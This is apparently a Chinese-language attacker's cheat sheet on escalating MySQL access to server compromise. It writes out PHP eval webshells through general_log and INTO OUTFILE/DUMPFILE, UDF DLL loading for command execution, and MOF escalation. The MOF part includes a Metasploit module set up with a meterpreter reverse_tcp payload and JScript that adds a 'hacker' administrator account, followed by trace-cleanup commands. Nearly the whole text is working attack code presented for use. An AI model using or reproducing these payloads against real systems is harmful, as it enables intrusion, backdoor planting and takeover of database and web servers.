前言
Getshell之堆叠注入
set global general_log = "ON";set global general_log_file='C:/wamp64/www/ma.php';select '<?php eval($_POST[cmd]);?>';
union select 1,'<?php eval($_POST[123]);?>' INTO OUTFILE '/var/www/html/test.php' #
union select 1,'<?php eval($_POST[123]);?>' INTO dumpfile '/var/www/html/test.php'#
outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径,但是值的部分可以时16进制 在使用outfile时,文件中一行的末尾会自动换行,且可以导出全部数据,同时如果文本中存在\n等字符,会自动转义成\n,也就是会多加一个\
outfile函数可以导出多行,而dumpfile只能导出一行数据;outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
而使用dumpfile时,一行的末尾不会换行且只能导出部分数据(这里比较数据比较少,没有体现出来);但dumpfile不会自动对文件内容进行转义,而是原意写入(这就是为什么我们平时UDF提权时使用dumpfile来写入的原因)
UDF提权
自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。
1.sqlmap的UDF动态链接库文件位置:sqlmap根目录/data/udf/mysql 2.那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。 3.sqlmap还自带了动态链接库,攻击者为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:sqlmap根目录/extra/cloak/cloak.py
解码32位的windows动态链接库:python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll 其他linux和windows动态链接库解码类似; 或者直接使用metasploit自带的动态链接库,无需解码
create table udfeval(shellcode longblob); //创建表
insert into udfeval values(load_file('F:/udf.dll')); //在表里插入信息
select shellcode from udfeval into dumpfile 'C:\\windows\udf.dll'; //将表里面的信息导出
create function cmdshell returns string soname 'D:/phpstudy/sqlibs/MySQL5.7.26/lib/plugin/udf.dll';
select * from func; //在所有表中查找func
select cmdshell('whoami'); //进行whoami命令执行
phpmyadmin
来管理数据库,且存在弱口令,我们也可以使用这种方法来通过phpmyadmin来执行上述命令达到写shell的目的答:--sql-shell;输入sql语句select @@secure_file_priv提示为NULL;所以就会出现,如下的错误
MOF提权
M0F提权原理:它就是利用了c:/windows/system32/wbem/mof/目录下的nullevt.mof文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行(有点像条件竞争)
Win sever 03以后无法使用
Mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
secure-file-priv参数不为null
MSF脚本自动化
use exploit/windows/mysql/mysql_mof
# 设置payload
set payload windows/meterpreter/reverse_tcp
# 设置目标 MySQL 的基础信息
set rhosts 192.168.127.132
set username root
set password root
run
var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker [email protected] /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")
手工注入
select load_file('D:/test.mof')into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof";
net stop winmgmt
rmdir /s /q C:\Windows\system32\wbem\Repository\
del C:\Windows\system32\wbem\mof\good\test.mof /F /Snet user hacker /delete
net start winmgmt
参考链接
udf提权:https://blog.csdn.net/qq_44881113/article/details/118907122
mof提权原理及其过程:https://blog.csdn.net/aiquan9342/article/details/102075462?ops_request_misc=&request_id=&biz_id=102&utm_term=mof&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-2-102075462.142%5Ev10%5Econtrol,157%5Ev8%5Econtrol&spm=1018.2226.3001.4187
如有侵权,请联系删除
推荐阅读